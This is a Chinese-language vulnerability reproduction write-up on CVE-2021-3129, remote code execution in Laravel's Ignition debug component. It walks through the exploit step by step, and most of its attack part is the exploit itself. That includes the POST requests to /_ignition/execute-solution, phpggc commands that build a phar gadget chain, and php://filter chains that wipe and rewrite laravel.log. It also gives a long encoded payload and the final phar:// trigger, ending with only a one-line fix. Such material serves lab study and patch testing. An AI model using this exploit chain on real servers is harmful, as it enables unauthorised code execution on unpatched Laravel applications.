概述
Laravel 是开源免费的PHP框架,有较多企业及个人在使用。
环境搭建
docker
漏洞实战分类
CVE-2021-3129
漏洞描述
在开发模式下,Laravel使用了Ignition提供的错误页面,在Ignition 2.5.1及之前的版本中,有类似这样的代码:
1 2
| $contents = file_get_contents($parameters['viewFile']); file_put_contents($parameters['viewFile'], $contents);
|
攻击者可以通过phar://协议来执行反序列化操作,进而执行任意代码。
影响范围
Laravel 8.4.2
Ignition 2.5.1
debug开启
漏洞原理
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
1 2
| $contents = file_get_contents($parameters['viewFile']); file_put_contents($parameters['viewFile'], $contents);
|
可以看到这里主要功能点是:读取一个给定的路径 $parameters['viewFile'],并替换读取到的内容中的 $variableName 为$variableName ?? '',之后写回文件中 $parameters['viewFile'],这相当于什么都没有做!
由于这里调用了file_get_contents(),且其中的参数可控,所以这里可以通过 phar:// 协议去触发phar反序列化。如果后期利用框架进行开发的人员写出了一个文件上传的功能,那么我们就可以上传一个恶意phar文件,利用上述的 file_get_contents() 去触发phar反序列化,达到RCE的效果。
漏洞条件
Laravel <8.4.2
Ignition <2.5.1
debug开启
漏洞检测
1、URL
1
| http://192.168.20.120:8080/
|

2、构造如下POST请求
1 2 3 4 5 6 7 8 9 10 11 12
| POST /_ignition/execute-solution HTTP/1.1 Host: 192.168.20.120:8000 Content-Type: application/json Content-Length: 168
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "xxxxxxx" } }
|
会出现以下Ignition的报错,说明漏洞存在,且开启了debug模式:

3、Phar反序列化
条件:把如下文件上传至存在漏洞服务器上.
1 2 3 4 5
| # apt install git-all # chmod 777 ./phpggc/phpggc # apt install php 从phpggc里拿一条laravel中存在的拓展的链子。 php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o /tmp/phar.gif
|

假设后期利用框架进行开发的人员写出了一个文件上传的功能,那么我们就可以将这个phar文件上传上去,这里我们手动将其放入laravel的目录下,然后构造如下请求,利用上述的 file_get_contents() 去触发phar反序列化:
4、构造PoC访问刚才上传文件
1 2 3 4 5 6 7 8 9 10 11 12
| POST /_ignition/execute-solution HTTP/1.1 Host: 192.168.20.120:8000 Content-Type: application/json Content-Length: 194
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "phar:///var/www/phar.gif/test.txt" } }
|

如上图所示RCE成功
5、laravel.log实现phar反序列化
该利用方法的核心步骤是将laravel.log里的内容清空,然后利用php://filter/write=写入phar反序列化的payload,最后发送请求利用 file_get_contents() 去触发phar反序列化。
这里,在清空laravel.log的内容时,作者在文章中提出的思路是使用php://filter中的convert.base64-decode过滤器的特性,将log清空。有的人可能会想到一直convert.base64-decode,直到都为不可见字符解码清空。但是这个做法会有问题。因为base64在解码的时候如果等号后面还有内容则会报错。所以正确的做法是先用convert.iconv.utf-8.utf-16be将utf-8转为utf-16,然后再用convert.quoted-printable-encode打印所有不可见字符,然后再用convert.iconv.utf-16be.utf-8将utf-16转为utf-8,完成上述操作后laravel.log中所有字符转为不可见字符,最后convert.base64-decode即可。详情
将上述链条合起来就是:
1
| php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
|
6、清理日志
1 2 3 4 5 6 7 8 9 10 11 12
| POST /_ignition/execute-solution HTTP/1.1 Host: 192.168.20.120:8080 Content-Type: application/json Content-Length: 328
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" } }
|

7、用phpggc生成phar序列化利用POC(编码后的)
1
| php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
|
得到的POC(编码后的)最后面再加一个a,否则最终laravel.log里面将生成两个POC,导致利用失败:

8、发送如下数据包,给Log增加一次前缀,用于对齐:
1 2 3 4 5 6 7 8 9 10 11 12
| POST /_ignition/execute-solution HTTP/1.1 Host: 192.168.20.120:8080 Content-Type: application/json Content-Length: 163
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "AA" } }
|
9、将POC作为viewFile的值,发送数据包
1 2 3 4 5 6 7 8 9 10 11 12
| POST /_ignition/execute-solution HTTP/1.1 Host: 192.168.1.12:8000 Content-Type: application/json Content-Length: 5058
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=45=00=34=00=79=00=65=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=45=00=34=00=79=00=65=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=54=00=38=00=59=00=6E=00=48=00=78=00=45=00=73=00=65=00=4B=00=59=00=35=00=78=00=7A=00=7A=00=35=00=6D=00=32=00=34=00=41=00=34=00=2F=00=56=00=34=00=6B=00=37=00=72=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a" } }
|
10、发送如下数据包,清空对log文件中的干扰字符,只留下POC:
1 2 3 4 5 6 7 8 9 10 11 12
| POST /_ignition/execute-solution HTTP/1.1 Host: 192.168.20.120:8080 Content-Type: application/json Content-Length: 299
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" } }
|
这一步可能会出现异常,导致无法正确清理Log文件。如果出现这种状况,可以重新从第一步开始尝试。

11、使用phar://进行反序列化,执行任意代码(此时需要使用绝对路径):
1 2 3 4 5 6 7 8 9 10 11 12
| POST /_ignition/execute-solution HTTP/1.1 Host: 192.168.20.120:8080 Content-Type: application/json Content-Length: 210
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt" } }
|

如上执行成功
其他利用方式可参考:
PHP-FPM
漏洞修复
1、更新至最新版本
Referer
1 2
| https://github.com/vulhub/vulhub/tree/master/laravel/CVE-2021-3129 https://whoamianony.top/2021/01/15/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Laravel/Laravel%20Debug%20mode%20RCE%EF%BC%88CVE-2021-3129%EF%BC%89%E5%88%A9%E7%94%A8%E5%A4%8D%E7%8E%B0/
|